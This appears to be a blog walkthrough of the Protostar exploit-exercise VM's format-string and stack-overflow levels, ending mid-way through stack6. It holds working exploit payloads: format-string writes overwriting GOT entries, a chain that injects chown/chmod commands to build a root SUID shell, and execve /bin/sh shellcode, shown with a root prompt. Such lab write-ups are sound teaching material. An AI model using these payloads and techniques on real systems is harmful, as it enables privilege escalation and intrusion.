#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

This is similar to format 2 except that we now have to precisely control what gets written to target.

Again, we start by locating the start of our input string.

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%x.'*11 + '%x'" | /opt/protostar/bin/format3
AAAA0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.41414141
target is 00000000 :(

We also find the memory address of target.

(gdb) print &target
$2 = (int *) 0x80496f4

We show that we are able to write to target.

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08' + '%x.'*11 + '%n'" | /opt/protostar/bin/format3
0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.
target is 0000004c :(

With format strings, we can supply different addresses one after another on the stack and supply multiple %n parameters to write to the least significant byte of each address in sequence.

For example, we can write to all 4 bytes of target.

user@protostar:/opt/protostar/bin$ python -c "print '\xf4\x96\x04\x08\xf5\x96\x04\x08\xf6\x96\x04\x08\xf7\x96\x04\x08' + '%x.'*11 + '%n%n%n%n'" | /opt/protostar/bin/format3
0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.
target is 58585858 :(

How do we control the value that gets writen for each individual byte? We use the same %nu technique. Before we can place a %nu before each %n, we need to pad our input string since each %nu also pops the stack. We do this by adding \x01\x01\x01\x01 before each address in our input string.

user@protostar:/opt/protostar/bin$ python -c "print '\x01\x01\x01\x01\xf4\x96\x04\x08\x01\x01\x01\x01\xf5\x96\x04\x08\x01\x01\x01\x01\xf6\x96\x04\x08\x01\x01\x01\x01\xf7\x96\x04\x08' + '%x.'*11 + '%u%n%u%n%u%n%u%n'" | /opt/protostar/bin/format3
0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.16843009168430091684300916843009
target is 88807870 :(

The final step here is to determine the n value for each %nu format parameter. scut’s paper has a method we can use to calculate the value. We translate it to a Python function.

def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding

to_write is the value we want to write at a particular %n, written is the number of bytes that have been written by the format string function so far. calculate(0x44, 0x68) gets us 220. How do we get 0x68? Remember when we first demonstrated writing to all 4 bytes of target and we wrote 0x58 to each byte? We increased the length of our input string by 16 bytes (\x01\x01\x01\01 * 4) so we add 0x58 + 16 = 0x68.

user@protostar:/opt/protostar/bin$ python -c "print '\x01\x01\x01\x01\xf4\x96\x04\x08\x01\x01\x01\x01\xf5\x96\x04\x08\x01\x01\x01\x01\xf6\x96\x04\x08\x01\x01\x01\x01\xf7\x96\x04\x08' + '%x.'*11 + '%220u%n%u%n%u%n%u%n'" | /opt/protostar/bin/format3
0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.                                                                                                                                                                                                                    16843009168430091684300916843009
target is 5c544c44 :(

From here, it is easy to calculate the other 3 n values. We simply use the previous byte as the written parameter and the target byte as the to_write parameter in our Python function. Doing this, we see that the 4 n values we need to supply are 220, 17, 173 and 255.

user@protostar:/opt/protostar/bin$ python -c "print '\x01\x01\x01\x01\xf4\x96\x04\x08\x01\x01\x01\x01\xf5\x96\x04\x08\x01\x01\x01\x01\xf6\x96\x04\x08\x01\x01\x01\x01\xf7\x96\x04\x08' + '%x.'*11 + '%220u%n%17u%n%173u%n%255u%n'" | /opt/protostar/bin/format3
0.bffff580.b7fd7ff4.0.0.bffff788.804849d.bffff580.200.b7fd8420.bffff5c4.                                                                                                                                                                                                                    16843009         16843009                                                                                                                                                                     16843009                                                                                                                                                                                                                                                       16843009
you have modified the target :)

format 4

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);
}

int main(int argc, char **argv)
{
  vuln();
}

In this level, our goal is to redirect execution to the hello() function.

We start by taking a look at the disassembly of the vuln() function.

(gdb) disass vuln
Dump of assembler code for function vuln:
0x080484d2 <vuln+0>:    push   %ebp
0x080484d3 <vuln+1>:    mov    %esp,%ebp
0x080484d5 <vuln+3>:    sub    $0x218,%esp
0x080484db <vuln+9>:    mov    0x8049730,%eax
0x080484e0 <vuln+14>:   mov    %eax,0x8(%esp)
0x080484e4 <vuln+18>:   movl   $0x200,0x4(%esp)
0x080484ec <vuln+26>:   lea    -0x208(%ebp),%eax
0x080484f2 <vuln+32>:   mov    %eax,(%esp)
0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
0x080484fa <vuln+40>:   lea    -0x208(%ebp),%eax
0x08048500 <vuln+46>:   mov    %eax,(%esp)
0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
0x08048508 <vuln+54>:   movl   $0x1,(%esp)
0x0804850f <vuln+61>:   call   0x80483ec <exit@plt>
End of assembler dump.

We are going to redirect the execution flow by overwriting the entry for the exit() function in the Global Offset Table (GOT). Without going into great detail, the GOT is essentially how shared library functions are loaded in a dynamically linked ELF binary. Eli Bendersky’s blog post has a good explanation on how it works.

Taking a look at the binary with objdump, we see that the exit() function has an entry in the GOT at 0x08049724. If we overwrite the value at that address with the memory address of hello() we should be successful.

user@protostar:/opt/protostar/bin$ objdump -TR /opt/protostar/bin/format4

/opt/protostar/bin/format4:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   fgets
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   _exit
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   puts
00000000      DF *UND*  00000000  GLIBC_2.0   exit
080485ec g    DO .rodata        00000004  Base        _IO_stdin_used
08049730 g    DO .bss   00000004  GLIBC_2.0   stdin


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496fc R_386_GLOB_DAT    __gmon_start__
08049730 R_386_COPY        stdin
0804970c R_386_JUMP_SLOT   __gmon_start__
08049710 R_386_JUMP_SLOT   fgets
08049714 R_386_JUMP_SLOT   __libc_start_main
08049718 R_386_JUMP_SLOT   _exit
0804971c R_386_JUMP_SLOT   printf
08049720 R_386_JUMP_SLOT   puts
08049724 R_386_JUMP_SLOT   exit

As with all format string attacks, we start by locating the input string on the stack.

user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%x.'*3 + '%x'" | /opt/protostar/bin/format4
AAAA200.b7fd8420.bffff5c4.41414141

Next, we attempt to write all 4 bytes of the exit() GOT entry.

user@protostar:/tmp$ python -c "print '\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08' + '%x.'*3 + '%n%n%n%n'"> a
(gdb) run < a
Starting program: /opt/protostar/bin/format4 < a
200.b7fd8420.bffff5b4.

Program received signal SIGSEGV, Segmentation fault.
0x26262626 in ?? ()

And look for the memory address of the hello() function.

(gdb) print &hello
$1 = (void (*)(void)) 0x80484b4 <hello>

With all that information, we can calculate that the 4 n’s we need to supply to the %nu format string parameters are 126, 208, 128 and 260. If you are unsure how to do this, you can go back to format 4’s explanation.

Putting everything together,

user@protostar:/tmp$ python -c "print '\x01\x01\x01\x01\x24\x97\x04\x08\x01\x01\x01\x01\x25\x97\x04\x08\x01\x01\x01\x01\x26\x97\x04\x08\x01\x01\x01\x01\x27\x97\x04\x08' + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | /opt/protostar/bin/format4
200.b7fd8420.bffff5d4.                                                                                                                      16843009                                                                                                                                                                                                        16843009                                                                                                                        16843009                                                                                                                                                                                                                                                            16843009
code execution redirected! you win

While this is the end of the challenge itself, it would be boring to end this blog post without a shell. We will use the same GOT entry overwrite method to obtain code execution on the target binary.

There is however a problem. If we overwrite exit() with system(), we will end up calling system(1) and we have no way to change that value. Instead, we will overwrite exit() with vuln() and printf() with system() so that we can pass our shell command through stdin in the second call to vuln().

We look for the memory address of the system() and vuln() functions.

(gdb) print &system
$1 = (<text variable, no debug info> *) 0xb7ecffb0 <__libc_system>
(gdb) print &vuln
$1 = (void (*)(void)) 0x80484d2 <vuln>

We successfully overwrite the GOT entries for exit() and printf().

user@protostar:~$ python -c "print '\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08\x1c\x97\x04\x08\x1d\x97\x04\x08\x1e\x97\x04\x08\x1f\x97\x04\x08' + '%x.'*3 + '%n%n%n%n%n%n%n%n'" > a
(gdb) run < a
Starting program: /opt/protostar/bin/format4 < a
200.b7fd8420.bffff5b4.

Program received signal SIGSEGV, Segmentation fault.
0x36363636 in ?? ()

(gdb) x/x 0x0804971c
0x804971c <_GLOBAL_OFFSET_TABLE_+28>:   0x36363636
(gdb) x/x 0x08049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x36363636

The 8 n’s we need to supply to the %nu format string parameters are 124, 178, 128, 260, 168, 79, 237 and 203.

Now, what do we want system() to call? As with all stdin based exploit vectors, it is a bit of an ugly hack to get the standard system("/bin/sh") to work. Like in my previous blog post on the stack exploitation exercises, I prefer to write a root owned SUID shell wrapper, shell.c.

#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv, char **envp) {
  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/bin/bash");
}

We compile the C code.

user@protostar:~$ gcc shell.c -o shell

Putting everything together, we get the following. You will see that we have a \x0a in there which is a NULL byte. This tells the first fgets() call to stop reading from stdin. We follow that by the command string we want system() to run on the second call to vuln().

user@protostar:~$ python -c "print '\x01\x01\x01\x01\x24\x97\x04\x08\x01\x01\x01\x01\x25\x97\x04\x08\x01\x01\x01\x01\x26\x97\x04\x08\x01\x01\x01\x01\x27\x97\x04\x08\x01\x01\x01\x01\x1c\x97\x04\x08\x01\x01\x01\x01\x1d\x97\x04\x08\x01\x01\x01\x01\x1e\x97\x04\x08\x01\x01\x01\x01\x1f\x97\x04\x08' + '%x.'*3 + '%124u%n%178u%n%128u%n%260u%n%168u%n%79u%n%237u%n%203u%n\x0a/bin/chown root:root /home/user/shell; /bin/chmod 4755 /home/user/shell'" | /opt/protostar/bin/format4
200.b7fd8420.bffff5d4.                                                                                                                    16843009                                                                                                                                                                          16843009                                                                                                                        16843009                                                                                                                                                                                                                                                            16843009                                                                                                                                                                16843009                                                                       16843009                                                                                                                                                                                                                                     16843009                                                                                                                                                                                                   16843009
sh: : not found
sh: : not found
^C^CSegmentation fault

user@protostar:~$ ./shell
root@protostar:~# whoami
root

Protostar Walkthrough - Stack

Protostar is a virtual machine from Exploit Exercises that goes through basic memory corruption issues. It is a step up from Nebula, another virtual machine from Exploit Exercises that I have written about previously.

Quoting from the website,

Protostar introduces the following in a friendly way:

  • Network programming
  • Byte order
  • Handling sockets
  • Stack overflows
  • Format strings
  • Heap overflows

The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode.

In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page.

The sha1sum of the ISO I am working with is d030796b11e9251f34ee448a95272a4d432cf2ce.

This blog post will cover the stack exploitation exercises. The later stages of Protostar will be covered in another post.

stack 0

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
user@protostar:~$ /opt/protostar/bin/stack0
AAAA
Try again?

We open up the stack0 binary in GDB and disassemble the main function.

(gdb) disass main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   %ebp
0x080483f5 <main+1>:    mov    %esp,%ebp
0x080483f7 <main+3>:    and    $0xfffffff0,%esp
0x080483fa <main+6>:    sub    $0x60,%esp
0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   movl   $0x8048500,(%esp)
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   movl   $0x8048529,(%esp)
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
End of assembler dump.

The first four lines of the disassembly is the function prologue and isn’t very interesting.

The first interesting line is the fifth line. This line moves the value 0x0 to the memory address $esp + 0x5c.

0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)

This is probably the modified variable especially since that memory address is checked at a later point to see if it’s set to 0 using the common test $eax, $eax idiom.

0x08048411 <main+29>:   mov    0x5c(%esp),%eax
0x08048415 <main+33>:   test   %eax,%eax
0x08048417 <main+35>:   je     0x8048427 <main+51>

The next few lines tells us that the buffer array starts at the memory address $esp + 0x1c.

0x08048405 <main+17>:   lea    0x1c(%esp),%eax
0x08048409 <main+21>:   mov    %eax,(%esp)
0x0804840c <main+24>:   call   0x804830c <gets@plt>

Given that 0x5c - 0x1c is 64 bytes, we see that buffer and modified are allocated right next to each other on the stack.

We can modify the modified variable by writing past the space allocated for buffer. We can do that by passing in a large input via stdin since the gets function does not perform any bounds checking.

user@protostar:~$ python -c "print 'A' * 65" | /opt/protostar/bin/stack0
you have changed the 'modified' variable

stack 1

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

This is pretty similar to the previous level except that the data is passed in via argv instead of stdin and we need to write a specific value 0x61626364 to modified instead of any non zero value.

user@protostar:~$ python -c "print 'A' * 65" | xargs /opt/protostar/bin/stack1
Try again, you got 0x00000041

We see that the ASCII value of the character “A” is written to the memory location reserved for modified. We notice that the value is written to the least significant byte of modified. This is because x86 is a little-endian based system.

This means that we can write 4 bytes past the space allocated for buffer to contain whatever byte value we want. We look up the ASCII characters for 0x61626364 which corresponds to dcba (remember, little-endian).

user@protostar:~$ python -c "print 'A' * 64 + 'dcba'" | xargs /opt/protostar/bin/stack1
you have correctly got the variable to the right value

stack 2

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Again, this is pretty similar to the previous level except that the data is passed in via the enviromental variable GREENIE and we need to write 0x0d0a0d0a to modified.

user@protostar:~$ GREENIE=`python -c "print 'A' * 65"` /opt/protostar/bin/stack2
Try again, you got 0x00000041

Given that 0x0a and 0x0d are special ASCII characters, we cannot print it out directly. However, there is a way in Python to print out the raw byte values that we need.

user@protostar:~$ GREENIE=`python -c "print 'A' * 64 + '\x0a\x0d\x0a\x0d'"` /opt/protostar/bin/stack2
you have correctly modified the variable

stack 3

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Our goal here is to execute the win() function.

We open up the stack3 binary in GDB.

(gdb) disass main
Dump of assembler code for function main:
0x08048438 <main+0>:    push   %ebp
0x08048439 <main+1>:    mov    %esp,%ebp
0x0804843b <main+3>:    and    $0xfffffff0,%esp
0x0804843e <main+6>:    sub    $0x60,%esp
0x08048441 <main+9>:    movl   $0x0,0x5c(%esp)
0x08048449 <main+17>:   lea    0x1c(%esp),%eax
0x0804844d <main+21>:   mov    %eax,(%esp)
0x08048450 <main+24>:   call   0x8048330 <gets@plt>
0x08048455 <main+29>:   cmpl   $0x0,0x5c(%esp)
0x0804845a <main+34>:   je     0x8048477 <main+63>
0x0804845c <main+36>:   mov    $0x8048560,%eax
0x08048461 <main+41>:   mov    0x5c(%esp),%edx
0x08048465 <main+45>:   mov    %edx,0x4(%esp)
0x08048469 <main+49>:   mov    %eax,(%esp)
0x0804846c <main+52>:   call   0x8048350 <printf@plt>
0x08048471 <main+57>:   mov    0x5c(%esp),%eax
0x08048475 <main+61>:   call   *%eax
0x08048477 <main+63>:   leave
0x08048478 <main+64>:   ret
End of assembler dump.

The stack layout in this program is exactly the same as the previous ones. The fp variable is located at memory address $esp + 0x5c and buffer starts at $esp + 0x1c

The interesting bit in this program is the following two lines:

0x08048471 <main+57>:   mov    0x5c(%esp),%eax
0x08048475 <main+61>:   call   *%eax

We see that the the value of fp is moved to $eax and is called. If we can modify the value of fp to point to the memory location of win(), we will have completed this stage.

In the disassembly of win(), we see that the function starts at 0x08048424.

(gdb) disass win
Dump of assembler code for function win:
0x08048424 <win+0>:     push   %ebp
0x08048425 <win+1>:     mov    %esp,%ebp
0x08048427 <win+3>:     sub    $0x18,%esp
0x0804842a <win+6>:     movl   $0x8048540,(%esp)
0x08048431 <win+13>:    call   0x8048360 <puts@plt>
0x08048436 <win+18>:    leave
0x08048437 <win+19>:    ret
End of assembler dump.

We overwrite fp with \x24\x84\x04\x08. Remember, little-endian.

user@protostar:~$ python -c "print 'A' * 64 + '\x24\x84\x04\x08'" | /opt/protostar/bin/stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack 4

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Our goal here is to execute the win() function by gaining control of $eip.

We open the stack4 binary in GDB.

(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   %ebp
0x08048409 <main+1>:    mov    %esp,%ebp
0x0804840b <main+3>:    and    $0xfffffff0,%esp
0x0804840e <main+6>:    sub    $0x50,%esp
0x08048411 <main+9>:    lea    0x10(%esp),%eax
0x08048415 <main+13>:   mov    %eax,(%esp)
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
End of assembler dump.

To understand how to exploit this, we will need a crash course on x86 calling conventions. The call instruction pushes the current $eip onto the stack before jumping to the memory address of the called function by setting $eip to that address. The function prologue then sets up the new stack frame by setting $ebp and $esp to the appropriate values.

This is what the stack roughly looks like after the function prologue.

Stack Diagram

The ret instruction at the end of the function will pop the old EIP value, located on the stack at $ebp + 4, and restore it to the $eip register. We can overwrite this memory location with the memory address we want $eip to be at after the ret instruction.

(gdb) info reg
eax            0xbffff740       -1073744064
ecx            0xbffff740       -1073744064
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff730       0xbffff730
ebp            0xbffff788       0xbffff788
esi            0x0      0
edi            0x0      0
eip            0x804841d        0x804841d <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

We know that buffer starts at $esp + 0x10. This means that we need to write 76 ((0xbffff788 + 4) - (0xbffff730 + 0x10)) bytes plus the 4 bytes we want $eip to be at after the ret instruction.

In the disassembly of win(), we see that the function starts at 0x080483f4.

(gdb) disass win
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   %ebp
0x080483f5 <win+1>:     mov    %esp,%ebp
0x080483f7 <win+3>:     sub    $0x18,%esp
0x080483fa <win+6>:     movl   $0x80484e0,(%esp)
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.

Putting it all together,

user@protostar:~$ python -c "print 'A' * 76 + '\xf4\x83\x04\x08'" | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault

The program segfaults after executing win() because the stack is messed up when it tries to ret from the function. However, this generally does not pose a problem for exploitation.

stack 5

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

This is pretty similar to the previous level except that our goal here is to execute shellcode. As writing shellcodes is beyond the scope of this exercise, we will use a execve /bin/sh shellcode from exploit-db.com. Due to the fact that we are reading input using gets(), we pick this particular shellcode because it re-opens stdin. A normal execve /bin/sh shell code will simply exit after running /bin/sh.

We open up the stack5 binary in GDB.

(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.

(gdb) info reg
eax            0xbffff740       -1073744064
ecx            0xbffff740       -1073744064
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff730       0xbffff730
ebp            0xbffff788       0xbffff788
esi            0x0      0
edi            0x0      0
eip            0x80483d9        0x80483d9 <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

We see that the disassembly and relevant register values are exactly the same as the previous levels. Reusing the calculations from before, we know that buffer starts at $esp + 0x10 and that we need to write 76 bytes + the 4 bytes we want $eip to be at after the ret instruction.

(gdb) run
Starting program: /opt/protostar/bin/stack5
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info reg
eax            0xbffff740       -1073744064
ecx            0xbffff740       -1073744064
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff790       0xbffff790
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x42424242       0x42424242
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

We confirm that we can overwrite $eip with the memory address that we want. We also have a 76 byte buffer that we can use to store our shellcode.

However, we now face a problem where we do not know the exact memory location of $esp + 0x10 to overwrite $eip with. Simply using the value we see in GDB is not reliable as the exact memory address on the stack can change depending on how the binary is loaded.

We see that the memory location we want to jump to is actually loaded into $eax during execution. So, if we can locate a jmp $eax instruction at a static location in the program’s address space, we can point $eip to that location to execute our shellcode.

0x080483cd <main+9>:    lea    0x10(%esp),%eax

There are many tools to find such “gadgets” in the program’s address space. We will use msfelfscan for this example (you can find a copy at /usr/share/framework2/msfelfscan on Kali Linux).

$ /usr/share/framework2/msfelfscan -f stack5 -j eax
0x080483bf   call eax
0x0804846b   call eax

Placing our shellcode at the start of the buffer and replacing “BBBB” with the memory address of our call eax instruction, we get the following payload.

user@protostar:~$ python -c "print '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + 'A' * 21 + '\xbf\x83\x04\x08'" | /opt/protostar/bin/stack5
Segmentation fault

Looking in GDB, we see that the last 11 bytes of our shellcode was overwritten during execution. This is a result of the push instructions in the shellcode writing values onto the stack.

(gdb) x/20x 0xbffff740
0xbffff740:     0xdb31c031      0x80cd06b0      0x742f6853      0x2f687974
0xbffff750:     0x89766564      0x66c931e3      0xb02712b9      0x3180cd05
0xbffff760:     0x2f6850c0      0x6868732f      0x6e69622f      0xbffff774
0xbffff770:     0x00000000      0x6e69622f      0x68732f2f      0x00000000
0xbffff780:     0x7665642f      0x7974742f      0x00000000      0x080483c1

We can fix this by adding a add $0x10, $esp instruction to our shellcode to expand the stack. The instruction translates to \x83\xc4\x10 in machine code. Modifying our payload, we end up with a successful exploit.

user@protostar:~$ python -c "print '\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' + 'A' * 18 + '\xbf\x83\x04\x08'" | /opt/protostar/bin/stack5
# whoami
root

stack 6

We are given the below source code.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

We see that while the code is very similar to the previous level, we are unable to overwrite $eip with an arbitrary address due to the ret & 0xbf000000 check. We take a look at the disassembly of getpath() in GDB.

(gdb) disass getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   %ebp
0x08048485 <getpath+1>: mov    %esp,%ebp
0x08048487 <getpath+3>: sub    $0x68,%esp
0x0804848a <getpath+6>: mov    $0x80485d0,%eax
0x0804848f <getpath+11>:        mov    %eax,(%esp)
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    0x8049720,%eax
0x0804849c <getpath+24>:        mov    %eax,(%esp)
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:        mov    %eax,(%esp)
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
0x080484af <getpath+43>:        mov    0x4(%ebp),%eax
0x080484b2 <getpath+46>:        mov    %eax,-0xc(%ebp)
0x080484b5 <getpath+49>:        mov    -0xc(%ebp),%eax
0x080484b8 <getpath+52>:        and    $0xbf000000,%eax
0x080484bd <getpath+57>:        cmp    $0xbf000000,%eax
0x080484c2 <getpath+62>:        jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:        mov    $0x80485e4,%eax
0x080484c9 <getpath+69>:        mov    -0xc(%ebp),%edx
0x080484cc <getpath+72>:        mov    %edx,0x4(%esp)
0x080484d0 <getpath+76>:        mov    %eax,(%esp)
0x080484d3 <getpath+79>:        call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:        movl   $0x1,(%esp)
0x080484df <getpath+91>:        call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:        mov    $0x80485f0,%eax
0x080484e9 <getpath+101>:       lea    -0x4c(%ebp),%edx
0x080484ec <getpath+104>:       mov    %edx,0x4(%esp)
0x080484f0 <getpath+108>:       mov    %eax,(%esp)
0x080484f3 <getpath+111>:       call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:       leave
0x080484f9 <getpath+117>:       ret
End of assembler dump.

We immediately see that buffer starts at -0x4c(%ebp), which means that we need to write 80 bytes (0x4c + 4 bytes for the old $ebp) plus the 4 bytes we want $eip to be at after the ret instruction. This makes sense because 4 more bytes is allocated on the stack (compared to the previous level) to store the unsigned int ret variable.

(gdb) run
Starting program: /opt/protostar/bin/stack6
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB
got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Now, let’s take a look at what the ret & 0xbf000000 does exactly. We can see from GDB that the stack is mapped to the memory between 0xbffeb000 and 0xc0000000. The check essentially prevents us from returning directly to a memory address on the stack. You can think of this as a crude implementation of a non-executable stack.

(gdb) info proc map
process 2715
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
